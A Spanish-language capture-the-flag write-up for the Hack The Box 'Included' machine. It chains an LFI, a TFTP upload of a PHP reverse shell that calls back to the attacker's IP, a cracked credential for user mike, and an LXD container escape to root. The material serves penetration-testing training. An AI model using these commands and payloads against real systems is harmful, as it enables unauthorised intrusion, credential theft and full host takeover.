Included — HTB Start Point

Dificultad: Easy · SO: Linux · Tema: LFI → TFTP upload → reverse shell → LXD privesc

Reconocimiento

Enumeración de puertos TCP y UDP:

nmap -sC -sV -T4 $ip
sudo nmap -sU -T4 -p 69 $ip

Solo 80/tcp Apache 2.4.29 (Ubuntu) abierto; 22 cerrado. En UDP, 69/udp responde a un escaneo como open|filtered — señala un servicio TFTP en el fondo.

LFI en el sitio web

El parámetro ?file= de index.php incluye archivos sin sanitizar (include($_GET['file'])). Vemos:

curl "http://$ip/?file=/etc/passwd"

Funciona: lista al usuario mike (uid 1000) y un usuario tftp con home /var/lib/tftpboot. Además, con el filtro base64 leemos código fuente:

curl "http://$ip/?file=php://filter/convert.base64-encode/resource=index.php" | base64 -d

Los wrappers php://input, data:// y expect:// están deshabilitados; el log poisoning no rinde. El vector real es el servidor TFTP: si logramos subir un archivo a /var/lib/tftpboot, podemos incluirlo y ejecutarlo.

LFI → credenciales

El .htpasswd (leído vía LFI) guarda la credencial de un usuario local:

mike:$apr1$JWpIfLpq$fC1blWttN3UY...

Es un hash Apache cifrado. Lo crackeamos con john:

john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd.hash
# mike:Sheffield19

mike es el usuario local (uid 1000) — ya tenemos las credenciales de la etapa siguiente.

TFTP config

Leemos la config del servidor TFTP vía LFI:

curl "http://$ip/?file=/etc/default/tftpd-hpa"
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/var/lib/tftpboot"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="-s -l -c"     # -l listen, -c permitir crear (upload)

La opción -c habilita la creación de archivos: podemos subir una reverse shell.

Reverse shell vía TFTP

Armamos una reverse shell PHP (pentestmonkey) hacia nuestra IP de VPN, la subimos por TFTP:

cp php-reverse-shell.php shell.php
sed -i "s/127.0.0.1/<TU_IP_TUN0>/g; s/1234/443/g" shell.php
tftp $ip -m binary -c put shell.php shell.php
nc -nvlp 443

Y la disparamos incluyéndola por la LFI:

curl "http://$ip/?file=/var/lib/tftpboot/shell.php"

Sesión ganada como www-data.

Escalada: usuario local

Sabemos la credencial de mike. Obtenemos una TTY y hacemos su:

python3 -c 'import pty;pty.spawn("/bin/bash")'
su mike
# Password: Sheffield19
id
# uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)

Mike está en el grupo lxd (gid 108).

Escalada: LXD → root

El grupo lxd es equivalente a root si el daemon acepta crear un contenedor con privilegios y montar el host. El exploit estándar:

  1. Descargar una imagen Alpine mínima para LXD (con metadata.yaml incluido, formato mímino).
mkdir build && cd build && mkdir -p rootfs
tar -xzf alpine-minirootfs-*.tar.gz -C rootfs
cat > metadata.yaml <<'EOF'
architecture: x86_64
creation_date: 1525590432
properties:
  architecture: x86_64
  description: Alpine linux amd64
  os: alpine
  release: 3.20.2
EOF
tar -czf ../alpine-lxd.tar.gz metadata.yaml rootfs
  1. Pasarla a la box, importarla y crear un contenedor con el filesystem host montado en /mnt/root.
# subir imagen (scp/wget/tftp indifferente)
lxc image import alpine-lxd.tar.gz --alias myalpine
lxc init myalpine pwned -c security.privileged=true
lxc config device add pwned mydevice disk source=/ path=/mnt/root recursive=true
lxc start pwned
lxc exec pwned -- ls /mnt/root

El contenedor con security.privileged=true corre como root fuera de límites de UID, y el device de tipo disk con source=/ nos expone todo el filesystem del host en /mnt/root. Leemos las flags:

lxc exec pwned -- cat /mnt/root/root/root.txt
lxc exec pwned -- cat /mnt/root/home/mike/user.txt

Qué pasó técnicamente (paso a paso)

  1. include() sin validar en ?file= permite leer archivos locales y ejecutar PHP.
  2. El servidor corre TFTP con -c (creación de archivos) sobre /var/lib/tftpboot.
  3. Subimos una shell PHP por TFTP → la LFI la incluye y la ejecuta → reverse shell.
  4. El .htpasswd filtrado revela credencial de un usuario con grupo lxd.
  5. security.privileged=true + device disk en LXD = root en el host.

Lecciones